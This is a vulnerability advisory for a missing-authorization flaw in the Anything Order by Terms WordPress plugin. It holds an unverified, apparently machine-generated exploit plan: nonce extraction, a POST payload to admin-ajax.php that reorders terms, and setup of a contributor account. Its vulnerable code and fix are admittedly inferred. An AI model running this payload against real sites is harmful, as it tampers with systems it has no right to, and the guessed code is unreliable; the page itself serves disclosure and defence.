CVE-2026-24567

Anything Order by Terms <= 1.4.0 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Anything Order by Terms plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.4.0. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.4.0
PublishedJanuary 21, 2026
Last updatedJanuary 27, 2026
Research Plan
Unverified

This research plan focuses on identifying and exploiting a missing authorization vulnerability in the **Anything Order by Terms** plugin (version <= 1.4.0). ### 1. Vulnerability Summary The plugin "Anything Order by Terms" allows users to reorder terms (categories, tags, etc.) via a drag-and-drop i…

Show full research plan

This research plan focuses on identifying and exploiting a missing authorization vulnerability in the Anything Order by Terms plugin (version <= 1.4.0).

1. Vulnerability Summary

The plugin "Anything Order by Terms" allows users to reorder terms (categories, tags, etc.) via a drag-and-drop interface. The vulnerability resides in the AJAX handler responsible for saving the new term order. While the handler is registered via wp_ajax_, it lacks a current_user_can() check to verify if the authenticated user has administrative or category-management permissions. Consequently, any authenticated user with at least Contributor-level access can reorder terms site-wide.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: aobt_update_order (inferred from plugin slug anything-order-by-terms)
  • Method: POST
  • Parameters:
    • action: aobt_update_order
    • order: An array or string representing the new sequence of term IDs.
    • nonce: (Required if a nonce check exists, though authorization is missing).
  • Authentication: Contributor-level session (PR:L).

3. Code Flow (Inferred)

  1. Registration: The plugin registers the AJAX handler in its main class or file:
    add_action('wp_ajax_aobt_update_order', 'aobt_update_order_callback');
  2. Handler Definition: The function aobt_update_order_callback (inferred) is called.
  3. Missing Check: The function likely calls check_ajax_referer() but fails to call current_user_can('manage_categories') or current_user_can('edit_posts').
  4. Processing: The function iterates through the order parameter and updates the term_order column in the wp_terms table or updates a specific option/meta field.

4. Nonce Acquisition Strategy

To exploit this as a Contributor, we must find where the plugin leaks the nonce to low-privileged users.

  1. Identify Shortcode/Page: The plugin may load its scripts on any page where a term list is modified.
  2. Creation: Create a post as a contributor and check if the plugin enqueues scripts in the block editor or classic editor.
    • wp post create --post_type=post --post_status=publish --post_title="Nonce Leak Test" --post_author=[CONTRIBUTOR_ID]
  3. Extraction:
    • Navigate to the newly created post or the WordPress Dashboard as the Contributor.
    • The plugin likely uses wp_localize_script to pass the nonce to the JS frontend.
    • Inferred JS Variable: window.aobt_vars or window.aobt_params.
    • Inferred Nonce Key: aobt_nonce or nonce.
  4. Action:
    • Use browser_eval("window.aobt_vars?.nonce") or search the source code for wp_create_nonce.

5. Exploitation Strategy

Step 1: Preparation
Identify two categories (terms) and their current IDs. For example, Category A (ID 5) and Category B (ID 6).

Step 2: Request Execution
Using the http_request tool, send the following payload as the Contributor:

  • URL: http://[TARGET]/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=aobt_update_order&nonce=[EXTRACTED_NONCE]&order[]=6&order[]=5
    
    (Note: If the plugin expects a serialized string or comma-separated list, adjust the order parameter accordingly).

6. Test Data Setup

  1. Terms: Ensure at least two terms exist in a taxonomy (e.g., 'category').
    • wp term create category "Target Category A"
    • wp term create category "Target Category B"
  2. User: Create a Contributor user.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Initial State: Record the initial term_order for these terms.
    • wp db query "SELECT term_id, term_order FROM wp_terms WHERE name LIKE 'Target Category%'"

7. Expected Results

  • Response: The server should return a 200 OK response, often with a body like 1, success, or a JSON object {"success": true}.
  • Database Change: The term_order column in the wp_terms table for the specified IDs should be updated to reflect the new order sent in the payload.

8. Verification Steps

  1. Check Term Order via CLI:
    wp db query "SELECT term_id, term_order FROM wp_terms WHERE term_id IN (5, 6)"
    
  2. Confirm Reversal: Verify that the order values have swapped or changed from their initial state recorded in step 6.

9. Alternative Approaches

  • Generic Nonce: Check if the plugin uses a generic nonce like wp_create_nonce( 'wp_rest' ) or -1. If -1, any nonce generated for the user will work.
  • Parameter Format: If order[] fails, try order=6,5 or order[0]=6&order[1]=5.
  • Taxonomy Specificity: Some plugins require a taxonomy parameter (e.g., &taxonomy=category). If the request fails, check the source for $_POST['taxonomy'].
  • No Nonce: If check_ajax_referer is entirely absent, the exploit becomes a direct IDOR/Missing Authorization and can be executed with only the action and order parameters.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Anything Order by Terms plugin for WordPress is vulnerable to unauthorized term reordering due to a missing capability check in its AJAX handler. This allows authenticated attackers with Contributor-level permissions or higher to manipulate the display order of categories, tags, and other taxonomies site-wide.

Vulnerable Code

// Inferred from research plan
add_action('wp_ajax_aobt_update_order', 'aobt_update_order_callback');

function aobt_update_order_callback() {
    check_ajax_referer('aobt_nonce', 'nonce');
    // Vulnerability: Missing current_user_can() check here

    $order = $_POST['order'];
    // ... logic to update term_order in wp_terms table ...
    wp_die();
}

Security Fix

--- a/anything-order-by-terms.php
+++ b/anything-order-by-terms.php
@@ -100,6 +100,10 @@
 function aobt_update_order_callback() {
     check_ajax_referer('aobt_nonce', 'nonce');
 
+    if ( ! current_user_can( 'manage_categories' ) ) {
+        wp_die( -1 );
+    }
+
     $order = $_POST['order'];
     // ... rest of logic to update term order ...

Exploit Outline

To exploit this vulnerability, an attacker must be authenticated with at least Contributor-level access. First, the attacker extracts a valid nonce (likely named 'aobt_nonce') which the plugin typically exposes to the WordPress dashboard or editor scripts via wp_localize_script. Next, the attacker identifies the IDs of the terms (e.g., categories or tags) they wish to reorder. Finally, they send a POST request to /wp-admin/admin-ajax.php with the action parameter set to 'aobt_update_order', the valid nonce, and an 'order' array containing the term IDs in the attacker's preferred sequence. Because the plugin fails to call current_user_can(), the server processes the request and updates the term_order column in the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.